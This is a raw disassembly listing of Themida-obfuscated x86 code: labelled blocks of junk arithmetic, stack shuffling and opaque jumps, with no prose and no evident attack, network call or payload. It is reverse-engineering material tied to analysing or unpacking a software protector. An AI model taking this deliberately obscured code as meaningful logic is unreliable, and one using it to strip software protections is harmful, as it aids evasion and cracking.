		jmp	loc_5AC200
; ---------------------------------------------------------------------------


loc_5A411F:				; CODE XREF: Themida_:005ADF59j
		push	31B9h
		mov	[esp], eax
		push	ecx
		push	edx
		push	ebx
		mov	bh, 47h
		mov	dh, 80h
		sub	dh, bh
		pop	ebx
		jmp	loc_5A98DA
; ---------------------------------------------------------------------------


loc_5A4136:				; CODE XREF: Themida_:0059A17Dj
		jmp	loc_5A97BD
; ---------------------------------------------------------------------------


loc_5A413B:				; CODE XREF: Themida_:005A8DB8j
		mov	edi, 5F3518EBh
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AD403
; ---------------------------------------------------------------------------


loc_5A414D:				; CODE XREF: Themida_:005A3F46j
		push	ax
		mov	ah, 0B5h
		xor	bl, ah
		mov	ax, [esp]
		add	esp, 2
		add	bl, 1Dh
		jp	loc_5AB221
		push	edx
		mov	dh, 45h
		jmp	loc_5A0800
; ---------------------------------------------------------------------------
		neg	cl
		mov	cl, dl
		pop	esi


loc_5A4170:				; CODE XREF: Themida_:005A819Cj
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A8CE5
; ---------------------------------------------------------------------------


loc_5A417E:				; CODE XREF: Themida_:005A0404j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 324872BFh
		xor	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A6274
; ---------------------------------------------------------------------------


loc_5A41A7:				; CODE XREF: Themida_:00599A50j
		push	1889h
		mov	[esp], edi
		push	1
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5AB94D
; ---------------------------------------------------------------------------


loc_5A41BF:				; CODE XREF: Themida_:0059B2C4j
		shr	edi, 5
		jp	loc_5A2B1D
		add	edi, 0FD05424Ch
		add	[esp+4], edi
		mov	edi, [esp]


loc_5A41D5:				; CODE XREF: Themida_:005989ACj
		push	ecx
		mov	cl, 57h
		neg	cl
		js	loc_5A71E9
		dec	cl
		jno	loc_59ABC4
		jns	loc_5A67CA
		pop	ebp


loc_5A41EF:				; CODE XREF: Themida_:005A7E00j
		mov	[esp], ebx
		mov	ebx, 46F31DD8h
		mov	edx, 95332158h
		sub	edx, ebx
		pop	ebx
		mov	ecx, edx
		jmp	loc_5A016E
; ---------------------------------------------------------------------------


loc_5A4206:				; CODE XREF: Themida_:005AC814j
		dec	edi
		add	edi, 0FFFFFFFFh
		xor	edi, 0C6F88E8Dh
		jmp	loc_5A67CA
; ---------------------------------------------------------------------------


loc_5A4215:				; CODE XREF: Themida_:005A6477j
		pop	ebp
		add	esp, 4
		pop	eax
		add	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A5AD3
; ---------------------------------------------------------------------------


loc_5A423F:				; CODE XREF: Themida_:0059D61Cj
		mov	cl, bl
		pop	ebx
		mov	[edi+28h], cl
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A8581
; ---------------------------------------------------------------------------


loc_5A424F:				; CODE XREF: Themida_:0059EF6Aj
					; Themida_:005A2999j
		or	edi, 66A41D19h
		jns	loc_5A2441
		jmp	loc_5AE050
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	edi
		mov	dl, bh


loc_5A4266:				; CODE XREF: Themida_:005A879Dj
		mov	[esp], edx
		push	ebp
		mov	ebp, 1C4E01F6h
		mov	edx, ebp
		jmp	loc_5AF6F7
; ---------------------------------------------------------------------------


loc_5A4276:				; CODE XREF: Themida_:0059F64Dj
		shl	ecx, 4
		xor	ecx, 0F9F4C272h
		xor	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_59F876
; ---------------------------------------------------------------------------


loc_5A428D:				; CODE XREF: Themida_:005AF42Cj
		pop	esp
		jmp	loc_5A8820
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7EDDh
		mov	[esp], ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	esi
		push	eax
		mov	eax, 23393512h
		mov	esi, 23393516h
		jmp	loc_59C5B7
; ---------------------------------------------------------------------------


loc_5A42CB:				; CODE XREF: Themida_:005A58D6j
		jo	loc_59E349
		xor	edx, 6AAB78A0h
		jnz	loc_5A0180
		jmp	loc_5AC92C
; ---------------------------------------------------------------------------
		push	esp
		pop	ebp
		jmp	loc_5A4A00
; ---------------------------------------------------------------------------
		pop	esp
		add	al, 0ABh


loc_5A42EC:				; CODE XREF: Themida_:005ADA67j
		sub	dl, bh
		jmp	loc_59C337
; ---------------------------------------------------------------------------


loc_5A42F3:				; CODE XREF: Themida_:005A0A64j
					; Themida_:005A148Bj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A1DD2
; ---------------------------------------------------------------------------


loc_5A42FE:				; CODE XREF: Themida_:0059A7F0j
					; Themida_:0059C517j ...
		push	esi
		push	eax
		push	4
		jmp	loc_59D094
; ---------------------------------------------------------------------------


loc_5A430A:				; CODE XREF: Themida_:0059D676j
		add	bl, 8Ah
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A9B35
; ---------------------------------------------------------------------------


loc_5A431E:				; CODE XREF: Themida_:005A47D2j
		xor	esi, 718174BCh
		mov	ebx, esi
		pop	esi
		neg	ebx
		neg	ebx
		jge	loc_59906F
		add	ebx, 7F4061E4h
		mov	bl, 0C8h
		pop	esp


loc_5A433B:				; CODE XREF: Themida_:005AB960j
		xchg	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_5A7295
; ---------------------------------------------------------------------------


loc_5A4345:				; CODE XREF: Themida_:005A3662j
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_5AE9EC
; ---------------------------------------------------------------------------


loc_5A4357:				; CODE XREF: Themida_:005ABF98j
		push	1716h
		mov	[esp], esi
		push	edx
		mov	edx, 294B0B40h
		sub	edx, 294B0B3Ch
		mov	esi, edx
		pop	edx
		add	[esp+4], esi
		jmp	loc_5A1622
; ---------------------------------------------------------------------------


loc_5A4377:				; CODE XREF: Themida_:005A9C8Aj
		mov	edi, esp
		push	eax
		jmp	loc_5A9315
; ---------------------------------------------------------------------------


loc_5A437F:				; CODE XREF: Themida_:005A4FEFj
		add	esp, 4
		neg	eax
		jp	loc_5A5AB5
		xor	eax, 6FF97FBAh
		jmp	loc_5AA24C
; ---------------------------------------------------------------------------
		pop	ecx


loc_5A4398:				; CODE XREF: Themida_:005A2724j
		push	663549h
		pop	ebx
		xor	ebx, 4FDF7205h
		jnz	loc_59CB69
		and	ebx, 9083636h
		add	ebx, 0F6F7FA00h
		mov	ecx, ebx


loc_5A43B8:				; CODE XREF: Themida_:005A69B4j
		push	ebx
		jmp	loc_5A1D39
; ---------------------------------------------------------------------------


loc_5A43BE:				; CODE XREF: Themida_:005A12CAj
		shr	cl, 4
		js	loc_59E8F5
		neg	cl
		jmp	loc_5A9A2B
; ---------------------------------------------------------------------------


loc_5A43CE:				; CODE XREF: Themida_:005A3938j
		push	6D9Bh
		mov	[esp], ebx
		jmp	loc_5ABD94
; ---------------------------------------------------------------------------


loc_5A43DB:				; CODE XREF: Themida_:0059FDC2j
					; Themida_:005A0A17j
		mov	edi, [esp]
		jmp	loc_5A4C60
; ---------------------------------------------------------------------------


loc_5A43E3:				; CODE XREF: Themida_:0059D8ACj
		xor	bh, 93h
		jmp	loc_5ACC82
; ---------------------------------------------------------------------------


loc_5A43EB:				; CODE XREF: Themida_:0059F0D6j
		push	6F9Bh
		mov	[esp], eax
		push	ebx
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		mov	al, bl
		pop	ebx
		mov	ch, al
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A3E1C
; ---------------------------------------------------------------------------


loc_5A4410:				; CODE XREF: Themida_:00599EADj
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59DCB6
; ---------------------------------------------------------------------------


loc_5A4422:				; CODE XREF: Themida_:005A0187j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A08D9
; ---------------------------------------------------------------------------


loc_5A4450:				; CODE XREF: Themida_:loc_5A0650j
		dec	ecx
		push	eax
		push	ebx
		jmp	loc_598CA9
; ---------------------------------------------------------------------------


loc_5A4458:				; CODE XREF: Themida_:0059E37Cj
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	2749h
		mov	[esp], ebp
		mov	ebp, 7AE569BEh
		push	edi
		mov	edi, 7FFE2429h
		sub	ebp, 718B5D52h
		add	ebp, 1BD54E56h
		add	ebp, edi
		sub	ebp, 1BD54E56h
		add	ebp, 718B5D52h
		pop	edi
		push	ebx
		mov	ebx, 51C721Dh
		add	ebp, ebx
		jmp	loc_5AC69E
; ---------------------------------------------------------------------------


loc_5A4497:				; CODE XREF: Themida_:005A97B8j
		mov	ecx, 17171A32h
		push	ebx
		mov	ebx, 0E8E8E5D0h
		add	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		jmp	loc_5A56BF
; ---------------------------------------------------------------------------


loc_5A44AD:				; CODE XREF: Themida_:005AE039j
		xor	dl, 4Eh
		xor	dl, 53h
		add	bh, dl
		pop	edx
		shl	bh, 3
		jmp	loc_59A784
; ---------------------------------------------------------------------------


loc_5A44BE:				; CODE XREF: Themida_:005ACC4Fj
		xor	edx, 5EE61538h
		jmp	loc_5AEA43
; ---------------------------------------------------------------------------


loc_5A44C9:				; CODE XREF: Themida_:005A306Aj
					; Themida_:005A59CAj
		pop	ebx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59C890
; ---------------------------------------------------------------------------


loc_5A44D7:				; CODE XREF: Themida_:0059FA7Ej
					; Themida_:005AF9CBj
		add	ebp, ebx
		sub	ebp, 51115BDh
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, 746A7FBDh
		jmp	loc_5A4F58
; ---------------------------------------------------------------------------


loc_5A44FB:				; CODE XREF: Themida_:005AECE0j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A0C4D
; ---------------------------------------------------------------------------


loc_5A4509:				; CODE XREF: Themida_:0059CA95j
		not	ecx
		xchg	ecx, edi
		sub	edi, 0F2FAC1CDh
		mov	edx, edi
		pop	edi
		push	7B64h
		mov	[esp], edx
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	ax, [esp]
		push	eax
		jmp	loc_5A0CCA
; ---------------------------------------------------------------------------


loc_5A4548:				; CODE XREF: Themida_:0059A543j
		push	dword ptr [esp]
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5A4550:				; CODE XREF: Themida_:005A6C89j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A5C90
; ---------------------------------------------------------------------------


loc_5A4570:				; CODE XREF: Themida_:005AACB3j
		pop	edx
		push	4F6Fh
		jmp	loc_59EE7A
; ---------------------------------------------------------------------------


loc_5A457B:				; DATA XREF: Themida_:005987B8o
		mov	cx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	eax
		push	edx
		push	ecx
		jmp	loc_5ABABF
; ---------------------------------------------------------------------------


loc_5A4599:				; CODE XREF: Themida_:005A4E02j
		not	ecx
		add	ecx, 0FFFFFFFFh
		neg	ecx
		push	edi
		jmp	loc_59A94C
; ---------------------------------------------------------------------------


loc_5A45A9:				; CODE XREF: Themida_:0059AFC8j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 471A0CCDh
		or	edx, 1BF07E37h
		jmp	loc_5AE747
; ---------------------------------------------------------------------------


loc_5A45C2:				; CODE XREF: Themida_:005A6D43j
		add	edi, 5BFE35E0h
		jmp	loc_5A96C6
; ---------------------------------------------------------------------------


loc_5A45CD:				; CODE XREF: Themida_:005AEADBj
		add	esi, edx
		pop	edx
		jmp	loc_59D990
; ---------------------------------------------------------------------------


loc_5A45D5:				; CODE XREF: Themida_:005AA545j
		sub	edi, 280B4690h
		jmp	loc_5A7F46
; ---------------------------------------------------------------------------


loc_5A45E0:				; CODE XREF: Themida_:0059E191j
		mov	dh, cl
		jmp	loc_5A090D
; ---------------------------------------------------------------------------


loc_5A45E7:				; CODE XREF: Themida_:005A9B81j
		shl	edx, 6
		xor	edx, 36630650h
		sub	edx, 0C8691D87h
		xor	ebx, edx
		pop	edx
		add	[edx], ebx
		pop	ebx
		pop	edx
		pop	ecx


loc_5A45FE:				; CODE XREF: Themida_:005AB45Bj
		push	7678h
		mov	[esp], ebx
		push	6977h
		jmp	loc_5A8F39
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: Themida_:005A1771j
		mov	[esp], eax
		mov	eax, 71F43312h
		push	esi
		mov	esi, 3008274Bh
		and	eax, esi
		pop	esi
		neg	eax
		shl	eax, 5
		and	eax, 158A3DB8h
		jmp	loc_598DE2
; ---------------------------------------------------------------------------


loc_5A4630:				; CODE XREF: Themida_:005A3813j
		push	edi
		jmp	loc_59A108
; ---------------------------------------------------------------------------


loc_5A4636:				; CODE XREF: Themida_:loc_5AEF08j
		push	eax
		not	byte ptr [esp+1]
		pop	eax
		neg	ah
		jmp	loc_5A2A61
; ---------------------------------------------------------------------------


loc_5A4643:				; CODE XREF: Themida_:0059DFDAj
		add	edx, 568618EBh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A53B8
; ---------------------------------------------------------------------------


loc_5A4654:				; CODE XREF: Themida_:005ABC68j
		pop	ebx
		add	ebp, 34D94D38h
		jg	loc_5A07DF
		push	eax
		mov	eax, 0F88705Bh
		sub	ebp, eax
		pop	eax
		push	ecx
		pop	edi


loc_5A466C:				; CODE XREF: Themida_:005A891Aj
		mov	[esp], ecx
		jmp	loc_5A2DE2
; ---------------------------------------------------------------------------


loc_5A4674:				; CODE XREF: Themida_:005A1207j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5AE220
; ---------------------------------------------------------------------------


loc_5A4680:				; CODE XREF: Themida_:005A120Ej
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4685:				; CODE XREF: Themida_:005A47A6j
		pop	ebp
		jmp	loc_5A7424
; ---------------------------------------------------------------------------


loc_5A468B:				; CODE XREF: Themida_:005AAA3Cj
		sub	esi, 33342761h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A2A6C
; ---------------------------------------------------------------------------


loc_5A469A:				; CODE XREF: Themida_:0059CF7Cj
		sub	eax, ebx
		jmp	loc_5A6A74
; ---------------------------------------------------------------------------


loc_5A46A1:				; CODE XREF: Themida_:0059FF01j
		xor	esi, 0D69B9C91h
		mov	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		push	6ADh
		mov	[esp], esi
		mov	esi, 67A12420h
		neg	esi
		shl	esi, 4
		xor	esi, 58D00A8Dh
		not	esi
		jmp	loc_599BA3
; ---------------------------------------------------------------------------


loc_5A46CC:				; CODE XREF: Themida_:005AC4CBj
		xor	ebx, 99277CFFh
		mov	edx, ebx
		pop	ebx
		add	ecx, edx
		jmp	loc_59FCA5
; ---------------------------------------------------------------------------


loc_5A46DC:				; CODE XREF: Themida_:005A9F55j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 52165E3Ah
		and	ecx, 17E43DAh
		xor	ecx, 6B9A36A3h
		sub	ecx, 0A304615Eh
		jmp	loc_59A298
; ---------------------------------------------------------------------------


loc_5A4701:				; CODE XREF: Themida_:0059F05Ej
		push	ecx
		push	edi
		push	7750135Fh
		jmp	loc_5A11F0
; ---------------------------------------------------------------------------


loc_5A470D:				; CODE XREF: Themida_:005AB7D9j
		push	ecx
		jmp	loc_5ADB2A
; ---------------------------------------------------------------------------


loc_5A4713:				; CODE XREF: Themida_:005A7A90j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5AF907
; ---------------------------------------------------------------------------


loc_5A4720:				; CODE XREF: Themida_:005AC1A8j
		and	di, 7A05h
		inc	di
		push	ecx
		mov	cx, 2B5Bh
		jmp	loc_5A4E07
; ---------------------------------------------------------------------------


loc_5A4731:				; CODE XREF: Themida_:005A6913j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_5A26F7
; ---------------------------------------------------------------------------


loc_5A474B:				; CODE XREF: Themida_:005AB200j
		pop	ebp
		shl	ebp, 8
		add	ebp, 7CE0BEFFh
		mov	esi, ebp
		pop	ebp
		sub	ecx, esi
		jmp	loc_59A182
; ---------------------------------------------------------------------------


loc_5A475F:				; CODE XREF: Themida_:005A7253j
		pop	ebx
		add	ebx, ecx
		pop	ecx
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5AB4CF
; ---------------------------------------------------------------------------


loc_5A476E:				; CODE XREF: Themida_:0059BF43j
		mov	edi, 4
		jmp	loc_5ABA22
; ---------------------------------------------------------------------------


loc_5A4778:				; CODE XREF: Themida_:005A5F7Dj
		push	ecx
		push	eax
		push	ecx
		mov	ch, 0EFh
		sub	ch, 1
		dec	ch
		sub	ch, 2Eh
		shr	ch, 4
		jmp	loc_598E09
; ---------------------------------------------------------------------------


loc_5A478D:				; CODE XREF: Themida_:005AA497j
		mov	ebp, 161E14BFh
		add	ebp, 0F8ADF2D6h
		sub	edi, 50DB7356h
		sub	edi, ebp
		add	edi, 50DB7356h
		jmp	loc_5A4685
; ---------------------------------------------------------------------------


loc_5A47AB:				; CODE XREF: Themida_:005A6E24j
		add	ecx, 0FF742950h
		jmp	loc_5A6AAE
; ---------------------------------------------------------------------------


loc_5A47B6:				; CODE XREF: Themida_:005A40EEj
		mov	[esp], ebx
		push	5EF5h
		mov	[esp], esi
		push	0E313569h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 4250273Ah
		jnb	loc_5A431E
		xor	esi, 718174BCh
		mov	ebx, esi
		pop	esi
		neg	ebx
		push	eax


loc_5A47E4:				; CODE XREF: Themida_:loc_5A20E8j
		xor	edx, 65B5EAEFh
		xor	esi, edx
		jmp	loc_5AAEF9
; ---------------------------------------------------------------------------


loc_5A47F1:				; CODE XREF: Themida_:005A1CD6j
		pop	ax
		push	bp
		xor	word ptr [esp],	787Dh
		pop	dx
		xor	dx, 787Dh
		pop	ebp
		mov	cx, 3771h
		add	cx, 4086h
		add	cx, dx
		sub	cx, 4086h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	ax, 670h
		inc	ax
		inc	ax
		inc	ax
		add	ax, 5260h
		add	bx, ax
		pop	eax
		jmp	loc_5ACAB8
; ---------------------------------------------------------------------------


loc_5A4835:				; CODE XREF: Themida_:005AFA04j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		jmp	loc_5A7A17
; ---------------------------------------------------------------------------


loc_5A4843:				; CODE XREF: Themida_:005AB271j
		mov	ebp, 411492Ch
		jmp	loc_5ADF69
; ---------------------------------------------------------------------------


loc_5A484D:				; CODE XREF: Themida_:0059C8FCj
		mov	edi, 0B15616Eh
		sub	edi, 0CE3180C6h
		sub	esi, edi
		pop	edi
		sub	ebp, esi
		pop	esi
		jmp	loc_5A0625
; ---------------------------------------------------------------------------


loc_5A4863:				; CODE XREF: Themida_:005A77E7j
					; Themida_:005AF30Dj
		shl	ebp, 8
		xor	ebp, 0F5348B02h
		add	esi, 77FC08A7h
		add	esi, ebp
		jmp	loc_5A6C7C
; ---------------------------------------------------------------------------


loc_5A4879:				; CODE XREF: Themida_:005A1507j
		pop	esi
		jmp	loc_5A0BC9
; ---------------------------------------------------------------------------


loc_5A487F:				; CODE XREF: Themida_:005AB800j
		sub	ch, dh
		jmp	loc_5AB18E
; ---------------------------------------------------------------------------


loc_5A4886:				; DATA XREF: Themida_:005987DCo
		mov	ax, [esp]
		push	edi
		push	5725h
		mov	[esp], esp
		jmp	loc_5A7693
; ---------------------------------------------------------------------------


loc_5A4898:				; CODE XREF: Themida_:005AD4D4j
		not	eax
		sub	eax, 0BBCB3C4Ah
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 5E770570h
		jnz	loc_59D7E4
		xor	edx, 96E05EEh
		mov	ebp, edx
		mov	edx, [esp]


loc_5A48C1:				; CODE XREF: Themida_:005A8092j
		pop	edx
		push	ebp
		mov	ebp, 75D03733h
		xor	ebp, 13336BBCh
		jb	loc_59F1CA
		neg	ebp
		jle	loc_5A50DD
		jmp	loc_5A0D75
; ---------------------------------------------------------------------------
		sub	ebx, 0FFFFFFFFh
		push	ecx


loc_5A48E8:				; CODE XREF: Themida_:0059F1EEj
		pop	ecx
		jmp	loc_59A531
; ---------------------------------------------------------------------------


loc_5A48EE:				; CODE XREF: Themida_:005A5925j
		xor	esi, 0F4DFF1C4h
		add	ebp, esi
		pop	esi
		push	eax
		mov	eax, esp
		jmp	loc_5ABA3E
; ---------------------------------------------------------------------------


loc_5A48FF:				; CODE XREF: Themida_:005A5DCCj
		neg	esi
		dec	esi
		xor	esi, 5978C1A3h
		sub	ebx, esi
		pop	esi
		sub	eax, 236E7B45h
		sub	eax, 0D49333Ah
		add	eax, ebx
		add	eax, 0D49333Ah
		push	ebp
		mov	ebp, 236E7B45h
		add	eax, ebp
		pop	ebp
		pop	ebx
		push	esi
		mov	esi, 152C19CFh
		shr	esi, 7
		jmp	loc_59B37B
; ---------------------------------------------------------------------------


loc_5A4934:				; CODE XREF: Themida_:005AA035j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A493E:				; CODE XREF: Themida_:0059903Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_5AC37D
; ---------------------------------------------------------------------------


loc_5A4946:				; CODE XREF: Themida_:005A52A9j
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 1Fh
		sub	dh, cl
		mov	cx, [esp]
		add	esp, 2
		sub	dh, 1
		push	ax
		jmp	loc_5AEE7E
; ---------------------------------------------------------------------------


loc_5A4962:				; CODE XREF: Themida_:005A5495j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mul	ecx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_59958E
; ---------------------------------------------------------------------------


loc_5A497C:				; CODE XREF: Themida_:0059C2BAj
		add	edi, 7CB402BAh
		jl	loc_5A380D
		xor	edi, 7DF812B5h
		jmp	loc_5A86C0
; ---------------------------------------------------------------------------


loc_5A4993:				; CODE XREF: Themida_:005A524Dj
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_59DF93
; ---------------------------------------------------------------------------


loc_5A49A2:				; CODE XREF: Themida_:005A0169j
		pop	edx
		jmp	loc_59A843
; ---------------------------------------------------------------------------


loc_5A49A8:				; CODE XREF: Themida_:005A4D78j
		jp	loc_59D1AC
		sub	edx, 7DF36C06h
		jg	loc_5AE785
		not	edx
		add	edx, 178316A6h
		jmp	loc_59BD15
; ---------------------------------------------------------------------------


loc_5A49C7:				; CODE XREF: Themida_:0059BD56j
		pop	ecx
		pop	eax
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5ABBBB
; ---------------------------------------------------------------------------


loc_5A49D3:				; CODE XREF: Themida_:005A2E06j
					; Themida_:005A65B8j
		xor	edx, 24F15B98h
		jns	loc_5A5804
		shl	edx, 3
		jmp	loc_5A6141
; ---------------------------------------------------------------------------
		push	eax
		or	al, 11h


loc_5A49EA:				; CODE XREF: Themida_:0059968Dj
		neg	eax
		shr	eax, 1
		jnz	loc_598BED
		add	eax, 0AF474029h
		jmp	loc_5992F1
; ---------------------------------------------------------------------------
		sub	ebx, edi


loc_5A4A00:				; CODE XREF: Themida_:005A42E4j
					; Themida_:005A58FAj
		add	ebx, 0ED7A4779h
		sub	edi, ebx
		pop	ebx
		neg	edi
		and	edi, 36A2337Fh
		sub	edi, 0BD0685C8h
		jmp	loc_59A36B
; ---------------------------------------------------------------------------


loc_5A4A1C:				; CODE XREF: Themida_:0059FAB2j
		pop	ebx
		or	edi, 7F487672h
		and	edi, 3FE9359Eh
		push	esi
		jmp	loc_5A361E
; ---------------------------------------------------------------------------


loc_5A4A2F:				; CODE XREF: Themida_:0059FCA0j
		mov	[esp], ecx
		mov	ecx, 25D0464Fh
		and	esi, ecx
		jmp	loc_5A01E3
; ---------------------------------------------------------------------------


loc_5A4A3E:				; CODE XREF: Themida_:0059B740j
		mov	esp, [esp]
		push	ecx
		jmp	loc_5A5B5F
; ---------------------------------------------------------------------------


loc_5A4A47:				; CODE XREF: Themida_:loc_59EA9Ej
		push	edx
		mov	dl, 9
		push	ecx
		mov	ch, 6Ah
		sub	dl, ch
		pop	ecx
		shl	dl, 4
		or	dl, 0D6h
		jmp	loc_5A195D
; ---------------------------------------------------------------------------


loc_5A4A5B:				; CODE XREF: Themida_:005A691Ej
		push	ecx
		jmp	loc_5A8011
; ---------------------------------------------------------------------------


loc_5A4A61:				; CODE XREF: Themida_:005A5ACEj
		add	edi, ebp
		jmp	loc_5AB6A3
; ---------------------------------------------------------------------------


loc_5A4A68:				; CODE XREF: Themida_:005AAB87j
		and	edx, 5D3A7786h
		and	edx, 62FF5711h
		jmp	loc_5A76A7
; ---------------------------------------------------------------------------


loc_5A4A79:				; CODE XREF: Themida_:0059E95Ej
		mov	[esp], ecx
		push	355h
		mov	[esp], edx
		push	eax
		mov	al, 6Bh
		jmp	loc_5A32A3
; ---------------------------------------------------------------------------


loc_5A4A8C:				; CODE XREF: Themida_:0059B288j
		shl	eax, 5
		jmp	loc_5A4FC2
; ---------------------------------------------------------------------------


loc_5A4A94:				; CODE XREF: Themida_:loc_5AF9D8j
		xor	ebp, 446607EAh
		jb	loc_5A2524
		sub	ebp, 5C367BF9h
		or	ebp, 6FD711BDh
		jmp	loc_5A6412
; ---------------------------------------------------------------------------


loc_5A4AB1:				; CODE XREF: Themida_:0059EC2Ej
		add	eax, 4
		jmp	loc_59EA31
; ---------------------------------------------------------------------------


loc_5A4AB9:				; CODE XREF: Themida_:005A8279j
		inc	ebp
		jmp	loc_59C317
; ---------------------------------------------------------------------------


loc_5A4ABF:				; CODE XREF: Themida_:0059DB35j
		add	ecx, edi
		sub	ecx, 364136E6h
		push	1511h
		jmp	loc_5A21BC
; ---------------------------------------------------------------------------


loc_5A4AD1:				; CODE XREF: Themida_:005AE41Dj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5AA316
; ---------------------------------------------------------------------------


loc_5A4ADC:				; CODE XREF: Themida_:0059DBF1j
		add	esp, 4
		push	4315h
		jmp	loc_59A51E
; ---------------------------------------------------------------------------


loc_5A4AE9:				; CODE XREF: Themida_:005A3D12j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_5AFDA8
; ---------------------------------------------------------------------------


loc_5A4AF6:				; CODE XREF: Themida_:005A5B84j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A4AFB:				; CODE XREF: Themida_:005A23D6j
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		mov	edi, [esp]
		jmp	loc_59ABBC
; ---------------------------------------------------------------------------


loc_5A4B0D:				; CODE XREF: Themida_:005AE742j
		shr	ecx, 5
		add	ecx, 28557340h
		sub	ecx, 622E27E8h
		mov	eax, ecx
		jmp	loc_5AC46E
; ---------------------------------------------------------------------------


loc_5A4B23:				; CODE XREF: Themida_:005A5545j
		pop	ebx
		add	ebp, eax
		add	ebp, 608459A1h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		push	4
		pop	edi
		push	ecx
		mov	ecx, 441C467Dh
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 2B7043D6h
		add	ebp, edi
		sub	ebp, 2B7043D6h
		push	ebx
		push	ecx
		mov	ecx, 3D1E3C75h
		mov	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 24610A4Fh
		jmp	loc_5998F6
; ---------------------------------------------------------------------------


loc_5A4B77:				; CODE XREF: Themida_:loc_5ADB9Cj
		jmp	loc_5993B6
; ---------------------------------------------------------------------------


loc_5A4B7C:				; CODE XREF: Themida_:005AB6B7j
		sub	ebx, 438A433Bh
		shr	ebx, 2
		xor	ebx, 335FA655h
		add	ecx, ebx
		pop	ebx
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		jmp	loc_5A34B2
; ---------------------------------------------------------------------------


loc_5A4B9C:				; CODE XREF: Themida_:0059F6ECj
		mov	ebx, 0FFFFFFFFh
		sub	edi, ebx
		pop	ebx
		jmp	loc_5A409C
